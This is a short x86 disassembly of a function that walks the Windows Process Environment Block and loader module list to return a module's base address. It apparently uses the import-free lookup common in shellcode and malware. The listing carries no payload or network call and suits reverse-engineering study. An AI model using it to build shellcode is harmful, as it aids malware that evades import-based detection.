Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret